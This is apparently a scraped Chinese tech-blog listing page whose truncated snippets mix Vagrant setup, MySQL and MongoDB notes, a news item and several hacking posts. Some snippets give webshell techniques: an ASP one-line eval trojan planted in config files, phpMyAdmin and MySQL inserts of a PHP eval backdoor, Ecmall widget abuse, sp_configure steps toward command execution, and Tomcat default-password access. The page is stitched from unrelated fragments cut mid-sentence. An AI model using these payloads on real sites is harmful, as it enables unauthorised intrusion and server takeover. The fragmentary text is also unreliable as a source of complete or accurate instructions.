Vagrant+vitural-box+Centos流程如下：
1. 下载安装vitural-box
2. 下载vagrant
3. 添加box
4. 初始化box，初始化系统，启动系统一、下载安装virtural-box地址：https://www.virtualbox.org/二、下载安装vagrant地址：https://www.vagrantup.com/ 选择对应的版本，我用的windo
本文作者：godunt玩靶场 认准安全练兵场成立"安全练兵场"的目的目前，安全行业热度逐年增加，很多新手安全从业人员在获取技术知识时，会局限于少量的实战中，技术理解得不到升华，只会像个脚本小子照着代码敲命令，遇到实战时自乱阵脚，影响心态的同时却自叹不如。而安全练兵场是由理论知识到实战过渡的一道大门，安全练兵场星球鼓励大家从实战中成长，提供优质的靶场系列，模拟由外网渗透到内网攻防的真实环境。此外，同
：...
原创
2023-05-22 10:42:42
367阅读
0x00 环境准备
大米CMS官网：http://www.damicms.com网站源码版本：大米CMS_V5.5.3试用版(更新时间：2017-04-15)程序源码下载：http://www.damicms.com/downes/dami.rar测试网站首页：
0x01 代码分析
1、漏洞文件位置：/Admin/Lib/Action/ConfigAction.class.php 第
原创
2023-05-22 10:43:58
345阅读
1.MGR特点MySQL Group Replication(MGR)是MySQL官方在5.7.17版本引进的一个数据库高可用与高扩展的解决方案，以插件形式提供，实现了分布式下数据的最终一致性，总结MGR特点如下：高一致性：基于分布式paxos协议实现组复制，保证数据一致性；高容错性：自动检测机制，只要不是大多数节点都宕机就可以继续工作，内置防脑裂保护机制；高扩展性：节点的增加与移除会自动更新组成
飞鸟游鱼原创
1.有备份，上传图片备份。如不能修改文件后缀名，可备份成1.asp/1.mdb或1.asa/1.mdb的形式
2.写入配置文件一句话木马，如果过滤了,(,)可尝试<%eval
request("value")%>来突破，例如
config.asp
转载
精选
2009-09-24 02:19:02
2174阅读
点赞
飞鸟游鱼原创
1.有备份，上传图片备份。如不能修改文件后缀名，可备份成1.asp/1.mdb或1.asa/1.mdb的形式
2.写入配置文件一句话木马，如果过滤了,(,)可尝试<%eval
request("value")%>来突破，例如
config.asp
转载
2010-08-10 22:36:04
537阅读
 
文章没什么意思，唯一亮点就在于dz后台拿shell，不过也全文贴过来吧，图片不全贴了麻烦，就贴2张。Blog：http://hi.baidu.com/zhenker这几天心情很烦躁，于是想找个黑客网站检测下，百度搜到了饭客网，论坛是DZ的，手中没0day,杯具，习惯性的用我自己的明小子扫下，看能扫到啥能利用的，扫了半天扫到了一个很有利用价值的文件如下图：上次跟小凯搞一个黑客站的时候
转载
精选
2010-11-16 16:36:35
855阅读
0x00 环境准备
大米CMS官网：http://www.damicms.com网站源码版本：大米CMS_V5.5.3试用版(更新时间：2017-04-15)程序源码下载：http://www.damicms.com/downes/dami.rar测试网站首页：
0x01 代码分析
1、漏洞文件位置：/Admin/Lib/Action/TplAction.class.php 
原创
2023-05-22 10:45:30
61阅读
超级大米
新华网华盛顿８月１１日电 据最新一期《福布斯》杂志报道，为使大米的营养成分更加丰富，美国适宜卫生技术组织推出一种名叫“超级大米”的食品。其外形类似米粒，由大米粉末、矿物质和维生素制成。
据报道，比尔和梅琳达·盖茨基金会向位于西雅图的适宜卫生技术组织提供了上千万美元的资金。适宜卫
转载
2007-08-14 17:23:35
654阅读
MongoDB shell MongoDB自带简洁但功能强大的JavaScript shell。JavaScript shell键入一个变量会将变量的值转换为字符串打印到控制台上。 下面介绍基本的操作，一些注意事项。数据库CRUD操作将在下面的篇幅中介绍《NoSQL学习之路 （四）：创建、读取、更新、删除（CRUD)》 打开命令提示(cmd.exe)。进入到MongoDB解压的目录的
转载
2023-10-13 14:39:53
87阅读
发现了个PHPMYADMIN 结果弱口令登陆进去 爆出绝对路径 然后执行SQL语句发现导出SHELL的时候却发现缺少了import.php这个文件 结果没办法执行MYSQL语句！ 然后本地测试了下 发现另外的方法
==========================================
phpMyAdmin/sql.php?db=test&ta
转载
精选
2011-03-01 15:41:07
846阅读
今天在 中国被黑站点统计系统 上看到别人拿的一个站，就顺便练习了一下，让大家见笑了，高手飘过，请大家多多指教，谢谢，具体请看附件。
原创
2011-04-02 14:08:07
471阅读
这篇文章主要为大家详细介绍了MySQL 使用命令行新建用户并授予权限，具有一定的参考价值，可以用来参考一下。感兴趣的小伙伴，下面一起跟随512笔记的小编两巴掌来看看吧！一般情况下，修改MySQL密码，授权，是需要有mysql里的root权限的。注：本操作是在WIN命令提示符下，phpMyAdmin同样适用。用户：phplamp用户数据库：phplampDB1.MySQL命令行新建用户//登录MYS
进后台直奔扩展->挂件管理，下面的每一个挂件都对应着Php文件~拿第一个最新成交挂件举例，直接点击编辑脚本，写你的一句话，然后连接external\widgets\latest_sold\main.widget.php~OK~结束
~另外说下Ecmall现在公布的那个2.2延迟注射其实不用那么麻烦~直接爆错注入就可以了~虽然Ecmall发生错误时会自动跳转到上一页~但是那点儿时
原创
2011-05-21 12:03:30
1659阅读
方法一：CREATE TABLE `mysql`.`xiaoma` (`xiaoma1` TEXT NOT NULL );INSERT INTO `mysql`.`xiaoma` (`xiaoma1` )VALUES ('<?php @eval($_POS
翻译
精选
2013-06-21 11:09:57
1503阅读
execute('sp_configure "show advanced options",1') #将该选项的值设置为1
execute('reconfigure') #保存设置
execu
原创
2024-10-17 10:03:46
148阅读
# SQL Server 拿Shell：初学者指南
作为一名经验丰富的开发者，我深知刚入行的小白在面对“SQL Server 拿Shell”这一任务时可能会感到困惑。本文将详细介绍如何实现这一任务，帮助初学者快速掌握相关技能。
## 一、流程概览
首先，我们通过一个表格来展示整个流程的步骤：
| 步骤 | 描述 |
| --- | --- |
| 1 | 安装SQL Server |
|
原创
2024-07-21 09:50:55
67阅读
有些Tomcat安装之后没有修改默认密码（用户名admin，密码为空），这样就可以直接登录进去。有两个目录可以访问：/admin/manager/html
/admin 目录下的利用：Service–host–actions–Create New Context建立虚拟目录Document Base填你想浏览的目录，比如c:\，Path自己随便写，例如/guizai然后直接http://ip/g
转载
2010-03-24 18:12:54
585阅读
正学习后台拿Shell的方法，今天碰巧在网上看见得到后台拿shell的汇总全集，很不错的总结，分享了！版主给个精华吧！
今天带给大家的都是些技术上的总结，有些人老问经验怎么来的，这个就是经验，希望大家都能成为脚本高手.
动网上传漏洞，相信大家拿下不少肉鸡吧。可以说是动网让upfile.asp上传文件过滤不严的漏洞昭然天下，现在这种漏洞
转载
精选
2011-02-08 21:01:10
752阅读
